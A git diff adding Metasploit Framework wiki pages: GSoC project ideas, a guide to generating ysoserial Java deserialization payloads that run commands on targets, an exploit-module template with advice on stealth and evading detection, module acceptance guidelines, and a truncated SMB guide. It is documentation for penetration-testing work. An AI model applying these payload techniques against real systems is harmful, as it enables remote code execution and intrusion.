--git a/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md new file mode 100644 index 000000000000..f4fa8d8ec220 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md @@ -0,0 +1,44 @@ +GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal. + +Mentors: @zerosteiner, @jmartin-r7 + +## Enhance Metasploit Framework + +### Retain active status of authentication tokens + +Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts. + +Difficulty: 2/5 + +### Improving post-exploit API to be more consistent, work smoothly across session types + +The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements: + + * Shell sessions do not implement the filesystem API that Meterpreter sessions have + * When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these. + * Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily. + +Difficulty: Varies + +### Improve the web vulnerability API + +This would follow up on the Arachni plugin PR and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners. + +Difficulty: 4/5 + +### Data Visualization + +Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. + +[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) + +Difficulty 3/5 + +### Elasticsearch Datastore +Write Goliath data to Elasticsearch. Explore data visualization using Kibana. + +Difficulty 3/5 + +## Submit your own + +If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project. diff --git a/metasploit-framework.wiki/GSoC-2022-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2022-Project-Ideas.md new file mode 100644 index 000000000000..f198ce1a7d8e --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2022-Project-Ideas.md @@ -0,0 +1,68 @@ +GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal. + +Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7 + +Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/) + +For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable. + +## Enhance Metasploit Framework + +### HTTP-Trace enabled login scanners + +Current login scanners are not enabled to support the HTTP-Trace options, this options is current exposed in the `Exploit::Remote::HttpClient` mixin and not available in login scanners. This functionality would aid module writers in debugging and testing initial module implementations as well as enable end users to provide more verbose details for error reports. Changes to enable this support will need careful validation and testing as a large number of modules would be potentially impacted by the revision. + +Size: Medium +Difficulty: 3/5 + +### Rest API Pagination + +Metasploit provides two API interaction services, a Rest API service and an RPC service. Previous efforts have wrapped and exposed the RPC service as JSON responses available from the Rest API endpoint. This wrapping did not account for possible large responses that may benefit from pagination. A previous contributor attempted to add this functionality for a [limited set of RCP commands](https://github.com/rapid7/metasploit-framework/pull/13439) however review identified that the changes would introduce changes to the documented public API and also introduce inconsistency within the API responses resulting in a fluctuating public API. Modern pagination would be beneficial to increasing user adoption of Rest API services provided it can be implemented consistently and either maintain compatibility of the existing public RPC service or generate a one time migration across all exposed public APIs. + +Size: Large +Difficulty: 4/5 + +### LDAP Capture Capabilities + +Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients. + +Size: Medium +Difficulty: 3/5 + +### Enhanced LDAP Query & Collection + +When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service. + +Size: Medium/Large (Depends on proposal) +Difficulty: 3/5 + +### Improving post-exploit API to be more consistent, work smoothly across session types + +The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements: + + * Shell sessions do not implement the filesystem API that Meterpreter sessions have + * When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these. + * Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily. + +Size: Medium/Large (Depends on proposal) +Difficulty: Varies + +### Improve the web vulnerability API + +This would follow up on the Arachni plugin PR and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners. + +Size: Large +Difficulty: 4/5 + +### Data Visualization + +Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed. + +See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Data-Service-Enhancements-%28Goliath%29) + +Size: Medium/Large (Depends on proposal) +Difficulty 3/5 + +## Submit your own + +If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project. diff --git a/metasploit-framework.wiki/Generating-`ysoserial`-Java-serialized-objects.md b/metasploit-framework.wiki/Generating-`ysoserial`-Java-serialized-objects.md new file mode 100644 index 000000000000..30e7f3f4d0c8 --- /dev/null +++ b/metasploit-framework.wiki/Generating-`ysoserial`-Java-serialized-objects.md @@ -0,0 +1,172 @@ +Instead of embedding static Java serialized objects, Metasploit offers ysoserial-generated binaries with built-in randomization. The benefits of using the Metasploit library include quicker module development, easier-to-read code, and future-proof Java serialized objects. + +To use the ysoserial libraries, let's look at an example from the [shiro_rememberme_v124_deserialize][2] module: + +## Example code + +In this example: +1. (L11) The module includes the `Msf::Exploit::JavaDeserialization` mixin. + * This exposes the necessary methods. +1. (L79) Then it uses the `generate_java_deserialization_for_payload` method to create a serialized Java object based on the `CommonsCollections2` YSoSerial payload that will execute the Metasploit payload. + * Note that the Metasploit `payload` object is passed as-is, without any conversion. + +``` +09 include Msf::Exploit::Remote::HttpClient +10 include Msf::Exploit::Powershell +11 include Msf::Exploit::JavaDeserialization +12 +13 def initialize(info = {}) +... +78 def exploit +79 java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload) +80 ciphertext = aes_encrypt(java_payload) +``` + +Once the serialized object is generated and stored as `java_payload`, it's then sent to the target in an exploit-specific manner. + +## Methods + +### `#generate_java_deserialization_for_payload(name, payload)` +This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command). + +- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support. + +- **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer. + +### `#generate_java_deserialization_for_command(name, shell, command)` +This method will generate a serialized Java object that when loaded will execute the specific operating system command using the specified shell. Invocation of the command through the shell effectively bypasses constraints on the characters within the operating system command. + +- **name** - The payload name parameter. This has the same significance as the *name* parameter for the [`#generate_java_deserialization_for_payload`](#generate_java_deserialization_for_payloadname-payload) method. + +- **shell** - The shell to use for invoking the command. This value must be one of the following: + + - **bash** - A modified version that will invoke the command using the `bash` executable + - **cmd** - A modified version that will invoke the command using the Windows `cmd.exe` executable. + - **powershell** - A modified version that will invoke the command using the Windows `powershell.exe` executable. + +- **command** - The operating system command to execute upon successful deserialization of the generated object. + +## Regenerating the ysoserial_payload JSON file (MAINTAINERS ONLY) + +**Neither module developers nor users need to concern themselves with the following.** + +On occasion, Metasploit maintainers may want to re-run the script generation to incorporate new Java serialized objects from the ysoserial tool. + +To avoid invoking Java (and all its dependencies) at runtime, the serialized objects are generated and cached within a JSON file. The JSON file can be refreshed using a standalone Ruby script, which comes prepackaged with a Docker image that handles downloading `ysoserial` and necessary dependencies. The script, `Dockerimage` and a high-level `runme.sh` script is stored within `tools/payloads/ysoserial`. An example run looks like: + +``` +$ cd ~/git/r7/metasploit-framework/tools/payloads/ysoserial +$ ./runme.sh +Sending build context to Docker daemon 101.8MB +Step 1/8 : FROM ubuntu + ---> cd6d8154f1e1 +Step 2/8 : RUN apt update && apt -y upgrade + ---> Using cache + ---> ba7e5691ed5a +Step 3/8 : RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc + ---> Using cache + ---> d38488663627 +Step 4/8 : RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar + ---> Using cache + ---> 284ff722464b +Step 5/8 : RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar + ---> Using cache + ---> 334c1ccb6fab +Step 6/8 : RUN gem install --silent diff-lcs json pry + ---> Using cache + ---> 9d452be9d01f +Step 7/8 : COPY find_ysoserial_offsets.rb / + ---> 61b6f339590c +Step 8/8 : CMD ruby /find_ysoserial_offsets.rb + ---> Running in ba7b14646e56 +Removing intermediate container ba7b14646e56 + ---> f4ca5ecb6848 +Successfully built f4ca5ecb6848 +Successfully tagged ysoserial-payloads:latest +Generating payloads for BeanShell1... +Generating payloads for C3P0... + Error while generating or serializing payload + java.lang.IllegalArgumentException: Command format is: : + at ysoserial.payloads.C3P0.getObject(C3P0.java:48) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'C3P0' and it will not be supported +Generating payloads for Clojure... +Generating payloads for CommonsBeanutils1... +Generating payloads for CommonsCollections1... +Generating payloads for CommonsCollections2... +Generating payloads for CommonsCollections3... +Generating payloads for CommonsCollections4... +Generating payloads for CommonsCollections5... +Generating payloads for CommonsCollections6... +Generating payloads for FileUpload1... + Error while generating or serializing payload + java.lang.IllegalArgumentException: Unsupported command [] + at ysoserial.payloads.FileUpload1.getObject(FileUpload1.java:71) + at ysoserial.payloads.FileUpload1.getObject(FileUpload1.java:40) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'FileUpload1' and it will not be supported +Generating payloads for Groovy1... +Generating payloads for Hibernate1... +Generating payloads for Hibernate2... + Error while generating or serializing payload + java.sql.SQLException: DataSource name cannot be empty string + at javax.sql.rowset.BaseRowSet.setDataSourceName(BaseRowSet.java:855) + at com.sun.rowset.JdbcRowSetImpl.setDataSourceName(JdbcRowSetImpl.java:4307) + at ysoserial.payloads.Hibernate2.getObject(Hibernate2.java:58) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'Hibernate2' and it will not be supported +Generating payloads for JBossInterceptors1... +Generating payloads for JRMPClient... +Generating payloads for JRMPListener... + Error while generating or serializing payload + java.lang.NumberFormatException: For input string: "" + at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) + at java.lang.Integer.parseInt(Integer.java:592) + at java.lang.Integer.parseInt(Integer.java:615) + at ysoserial.payloads.JRMPListener.getObject(JRMPListener.java:42) + at ysoserial.payloads.JRMPListener.getObject(JRMPListener.java:34) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'JRMPListener' and it will not be supported +Generating payloads for JSON1... +Generating payloads for JavassistWeld1... +Generating payloads for Jdk7u21... +Generating payloads for Jython1... + Error while generating or serializing payload + java.lang.IllegalArgumentException: Unsupported command [] + at ysoserial.payloads.Jython1.getObject(Jython1.java:52) + at ysoserial.payloads.Jython1.getObject(Jython1.java:42) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'Jython1' and it will not be supported +Generating payloads for MozillaRhino1... +Generating payloads for Myfaces1... +Generating payloads for Myfaces2... + Error while generating or serializing payload + java.lang.IllegalArgumentException: Command format is: : + at ysoserial.payloads.Myfaces2.getObject(Myfaces2.java:47) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'Myfaces2' and it will not be supported +Generating payloads for ROME... +Generating payloads for Spring1... +Generating payloads for Spring2... +Generating payloads for URLDNS... + Error while generating or serializing payload + java.net.MalformedURLException: no protocol: + at java.net.URL.(URL.java:593) + at ysoserial.payloads.URLDNS.getObject(URLDNS.java:56) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'URLDNS' and it will not be supported +Generating payloads for Vaadin1... +Generating payloads for Wicket1... + Error while generating or serializing payload + java.lang.IllegalArgumentException: Bad command format. + at ysoserial.payloads.Wicket1.getObject(Wicket1.java:59) + at ysoserial.payloads.Wicket1.getObject(Wicket1.java:49) + at ysoserial.GeneratePayload.main(GeneratePayload.java:34) + ERROR: Errored while generating 'Wicket1' and it will not be supported +DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skipped 8 unsupported payloads. +``` + +At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch. + +[1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30 +[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb \ No newline at end of file diff --git a/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md b/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md new file mode 100644 index 000000000000..4edfd8948885 --- /dev/null +++ b/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md @@ -0,0 +1,160 @@ +## On this page +* [Plan your module](#plan-your-module) +* [Ranking](#ranking) +* [Template](#template) +* [Basic git commands](#basic-git-commands) +* [References](#references) + +The real kung-fu behind exploit development isn't actually about which language you choose to build it; it's about your precise understanding of how input is processed by the application you're debugging, and how to gain control by manipulating it. That's right; the keyword is "debugging." Your binjitsu (reverse-engineering) is where the real kung-fu is. However, if your goal isn't just about popping a calculator, but actually want to weaponize, to maintain, and to provide use in the practical world, you need a development framework. And this is where Metasploit comes in. It's a framework that's free and open-source, actively contributed by researchers around the world. So when you write a Metasploit exploit, you don't have to worry about any [dependency issues](http://en.wikipedia.org/wiki/Dependency_hell), or having the wrong version, or not having enough payloads for different pentesting scenarios to choose from, etc. The idea is all you need to do is focus on building that exploit, and nothing more. + +## Plan your module + +First, ask yourself will exploiting this vulnerability result in executing a payload? If not, then despite exploiting a vulnerability, for Metasploit's purposes the module would fall into the [[auxiliary|How-to-get-started-with-writing-an-auxiliary-module]] category. + +Unlike writing a proof-of-concept, when you write a Metasploit module, you need to think about how users might use it in the real world. Stealth is usually an important element to think about. Can your exploit achieve code execution without dropping a file? Can the input look more random, so it's more difficult to detect? How about obfuscation? Is it generating unnecessary traffic? Can it be more stable without crashing the system? + +Try to be precise about exploitable requirements. Usually, a bug is specific to a range of versions or even builds. If you can't automatically check that, you need to at least mention it in the description somewhere. + +Some of your exploit's techniques might also be application-specific. For example, you can take advantage of a specific behavior in the application to generate heap allocations the way you want, but maybe it's noisier in the newer version, so that gives you some stability issues. Does it need a 3rd-party component to work that may not even be installed by everyone? Even if it is, is the component revised often enough that it could make your exploit less reliable? + +Know that in the real world, your exploit can break or fail in a lot of different ways. You should try to find out and fix it during the development and testing phase before learning the hard way. + +## Ranking + +As you can see, reliability is important to Metasploit, and we try to be more friendly about this for the users. I know what you're thinking: "Well, if they're using the exploit, they should understand how it works, so they know what they're getting themselves into." In the perfect world, yes. Knowing how a vulnerability works or how an exploit works will only benefit the user, but you see, we don't live in the perfect world. If you're in the middle of a penetration test, it's very unlikely to always find the time to recreate the vulnerable environment, strip the exploit to the most basic form to debug what's going on, and then do testing. Chances are you have a tight schedule to break into a large network, so you need to use your time carefully. Because of this, it's important to at least have a good description and good references for the module. And of course, a ranking system that can be trusted. + +The Metasploit Framework has seven different rankings to indicate how reliable an exploit is. See [[Exploit Ranking]] for more details. + +## Template + +If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://rapid7.github.io/metasploit-framework/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins. + +For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [How to send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). If you're interested in browser exploit writing, definitely check out: [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer), etc. + +But of course, to begin, you most likely need a template to work with, and here it is. We'll also explain how to fill out the required fields: + +```ruby +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", + 'Description' => %q{ + Say something that the user might need to know + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Name' ], + 'References' => + [ + [ 'URL', '' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'System or software version', + { + 'Ret' => 0x41414141 # This will be available in `target.ret` + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => "", + 'DefaultTarget' => 0)) + end + + def check + # For the check command + end + + def exploit + # Main function + end + +end +``` + +* **Name** - The Name field should begin with the name of the vendor, followed by the software. Ideally, the "Root Cause" field means which component or function the bug is found. And finally, the type of vulnerability the module is exploiting. + +* **Description** - The Description field should explain what the module does, things to watch out for, specific requirements, the more, the better. The goal is to let the user understand what he's using without the need to actually read the module's source and figure things out. And trust me, most of them don't. + +* **Author** field is where you put your name. The format should be "Name ". If you want to have your Twitter handle there, leave it as a comment, for example: "Name # handle" + +* **References** - The References field is an array of [references](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/module/reference.rb) related to the vulnerability or the exploit. For example, an advisory, a blog post, etc. Make sure you use known reference identifiers -- see [[Module reference identifiers]] for a list. + +* **Platform** - The Platform field indicates what platforms are supported, for example: win, linux, osx, unix, bsd. + +* **Targets** - The Targets field is an array of systems, applications, setups, or specific versions your exploit is targeting. The second element or each target array is where you store specific metadata about that target, for example, a specific offset, a gadget, a ret address, etc. When a target is selected by the user, the metadata is loaded and tracked by a "target index", and can be retrieved by using the `target` method. + +* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`. + +**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014" + +Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible. + +And finally, the `exploit` method is like your main method. Start writing your code there. + +An example exploit module is also available: [example.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example.rb) + +## Basic git commands + +Metasploit no longer uses svn for source code management. Instead, we use git, so knowing some tricks with git go a long way. We're not here to lecture you about how awesome git is; we know it has a learning curve, and it's not surprising to find new users making mistakes. Every once a while, your git "rage" will kick in, and we understand. However, it's important for you to take advantage of branching. + +Every time you make a module or make some changes to existing code, you should not do so on the default master branch. Why? Because when you do a ```msfupdate```, which is Metasploit's utility for updating your repository, it will do a git reset before merging the changes, and all your code goes away. + +Another mistake people tend to do is have all the changes on master before submitting a pull request. This is a bad idea because most likely; you're submitting other crap you don't intend to change, or you're probably asking us to merge other unnecessary commit histories when there only needs to be one commit. Thanks for contributing your module to the community, but no thanks to your crazy commit history. + +So as a habit, when you want to make something new, or change something, begin with a new branch that's up to date to master. First off, make sure you're on master. If you do a ```git status``` it will tell you what branch you're currently on: + +```bash +$ git status +# On branch upstream-master +nothing to commit, working directory clean +``` + +Ok, now do a ```git pull``` to download the latest changes from Metasploit: + +```bash +$ git pull +Already up-to-date. +``` + +At this point, you're ready to start a new branch. In this case, we'll name our new branch "my_awesome_branch": + +```bash +$ git checkout -b my_awesome_branch +Switched to a new branch 'my_awesome_branch' +``` + +And then you can go ahead and add that module. Make sure it's in the appropriate path: + +```bash +$ git add [module path] +``` + +When you decide to save the changes, commit (if there's only one module, you can do ```git commit -a``` too so you don't have to type the module path. Note ```-a``` really means EVERYTHING): + +```bash +$ git commit [module path] +``` + +When you're done, push your changes, which will upload your code to your remote branch "my_awesome_branch". You must push your changes in order to submit the pull request or share it with others on the Internet. + +```bash +$ git push origin my_awesome_branch +``` + +## References + +- diff --git a/metasploit-framework.wiki/Guidelines-for-Accepting-Modules-and-Enhancements.md b/metasploit-framework.wiki/Guidelines-for-Accepting-Modules-and-Enhancements.md new file mode 100644 index 000000000000..f2adea5348bf --- /dev/null +++ b/metasploit-framework.wiki/Guidelines-for-Accepting-Modules-and-Enhancements.md @@ -0,0 +1,55 @@ +# Acceptance Guidelines + +Contributions from the open source community are the soul of Metasploit, and we love evaluating and landing pull requests that add new Framework features and content. Metasploit Framework has many tens of thousands of users who rely on daily, consistent, and error-free updates. Because of this, Metasploit's core developers have adopted a fairly high standard for pull requests that add new Framework functionality and Metasploit modules. In order to encourage open and transparent development, this document outlines some general guidelines for Metasploit contributors and developers. Adhering to these guidelines maximizes the chances that your work will be merged into the official Metasploit distribution packages. + +## Module Additions + +Most open source community support for Metasploit comes in the form of Metasploit modules. The following should be considered for acceptance; note that these are guidelines and not categorical imperatives ("should"s, not "must"s), since there are always exceptions to the norm-especially when it comes to novel new attacks and techniques. + +Modules should pass [msftidy.rb](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/msftidy.rb) and adhere to the [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) guidelines. Both are distributed with Metasploit. See [[Style Tips]] for some information on how to take some of the headache out of whitespace issues. + +Modules should have a clear and obvious goal: Exploits should result in a shell. Post modules should result in privilege escalation or loot. Auxiliary modules are an "Everything else" category, but even they should be limited to a well-defined task (e.g., information gathering to enable an exploit or a post module). + +Modules should not launch other modules, given the complexity of setting multiple payloads. Such actions are usually automation tasks for an external UI. + +Denial of Service modules should be asymmetric and at least have some interesting feature. If it's comparable to a synflood, it shouldn't be included. If it's comparable to Baliwicked, it should be included. Modules that hover the line, such as slowloris, may be included with some justification. + +Modules should be able to function as expected with minimal configuration. Defaults should be sensible and usually correct. Modules should not depend on exact timing, uncontrollable heap states, system DLLs, etc. All memory addresses (ie. a JMP ESP, or a ROP gadget) should be part of the metadata under 'Targets', and documented (what instructions it points to, and what DLL). If the exploit is against a specific hardware (e.g., routers, PLCs, etc), or against a software that's not free (and no trial/demo available), please remember to submit a binary packet capture (pcap-formatted) along with the module that demonstrates the exploit actually works. + +Please don't use the alphanum encoder as a way to avoid BadChar analysis. Modules which set the `EncoderType` field in the payload as a way to avoid doing real BadChar analysis will be rejected. These modules are nearly always unreliable in the real world. + +Exploit ranking definitions can be found on the [[Exploit Ranking]] page. + +Exploit modules should implement a `check()` function when this is trivial to do so. Versions exposed through banners or network protocols should always result in a `check()` routine when a patch is available that changes this version. + +If a module (auxiliary or post) obtains some sort of information from the victim machine, it should store that data using one (or more) of the following methods: + +* `store_loot()`: Used to store both stolen files (both text and binary) and "screencaps" of commands such as a `ps -ef` and `ifconfig`. The file itself need not be of forensic-level integrity -- they may be parsed by a post module to extract only the relevant information for a penetration tester. + +* `report_auth_info()`: Used to store working credentials that are immediately reusable by another module. For example, a module dumping the local SMB hashes would use this, as would a module which reads username:password combinations for a specific host and service. Specifically, merely "likely" usernames and passwords should use `store_loot()` instead. + +* `report_vuln()`: Auxiliary and post modules that exercise a particular vulnerability should `report_vuln()` upon success. Note that exploit modules automatically `report_vuln()` as part of opening a session (there is no need to call it especially). + +* `report_note()`: Modules should make an effort to avoid `report_note()` when one of the above methods would be a better fit, but there are often cases where "loot" or "cred" or "vuln" classifications are not immediately appropriate. `report_note()` calls should always set a OID-style dotted `:type`, such as `domain.hosts`, so other modules may easily find them in the database. + +Modules should take advantage of the normal Metasploit APIs. For example, they should not attempt to create their own TCP sockets or application protocols with native Ruby; they should mediate sockets through `Rex` and `Rex::Proto` methods instead. This ensures compatibility with the full set of Framework features, such as pivoting and proxy chaining. + +Web application attacks are generally uninteresting (SQLi, XSS, CSRF), unless the module can reliably result in a shell or exercise some kind of useful information leak. Even in that case, the module should "just work," as above. + +Web application attacks should be limited only to popular, widely deployed applications. For example, a SQLi module against a popular CMS that results in a shell on the CMS machine would be welcome. A module that causes a private Facebook profile to become public would not (Facebook has exactly one deployed instance). + +Web application attacks should implement an HttpFingerprint constant. + +Modules should only list targets that **you** actually tested the exploit on. Avoid assuming it works on a specific system if it has never been tested on it. Comments above the target entry indicating additional information about a given target (language pack, patch level, etc) greatly assist other developers in creating additional targets and improving your module. + +Modules can exercise unpatched and undisclosed vulnerabilities. However, Rapid7 is happy to assist with the disclosure process by following the Rapid7 policy. This policy provides a fixed 90-day window from when the vendor is contacted until the exploit is released. All vulnerabilities found by Rapid7 staff follow this process. The submitter will receive full credit for the vulnerability and the resulting exploit module regardless of how disclosure is handled. + +## Framework Enhancements + +Generally, new functionality to the Metasploit Framework should start life as a plugin. If the functionality becomes useful and popular, we can integrate it more closely, add RPC API exposure, and so on, but it should be well-tested by the community before then. + +Automating a series of discrete functions is generally /not/ the responsibility of the Framework. Automation should be accomplished through the API (see Metasploit Community/Pro, MSFGUI, etc). Past efforts with in-Framework automation prove this out. Components such as `db_autopwn` and `browser_autopwn` rarely did what users expected, and configuring these tools became a nightmare through increasingly complex sets of options and arguments. Automating the Framework is easy and should stay easy, but the automation itself should live in resource scripts and other external front-ends to the Framework itself. + +Console functionality should have a focus on exploit and security tool development, with the exploit developer as the typical user. End users should be pointed to an interface such as the Community Edition or MSFGUI and should not expect much in terms of user-friendliness from the console. The console should be considered a debug mode for Metasploit and as close to bare-metal functionality as possible. + +External tools, such `msfpayload` and `msfvenom`, are designed to make exploit development easier and exercise specific techniques. We are happy to continue evaluating tools of this nature for inclusion in the Framework; these should be accompanied by documentation (!), how-to tutorials for quick start, and other helpful text. \ No newline at end of file diff --git a/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md b/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md new file mode 100644 index 000000000000..1ec824127570 --- /dev/null +++ b/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md @@ -0,0 +1,447 @@ +This is a simple guideline to write SMB-based modules, focusing on the new RubySMB implementation that includes SMB3 support. + +## SMB Protocol Overview + +SMB (Server Message Block) is a network communication protocol that provides file sharing, network browsing, printing services, and interprocess communication over a network. It relies on lower level 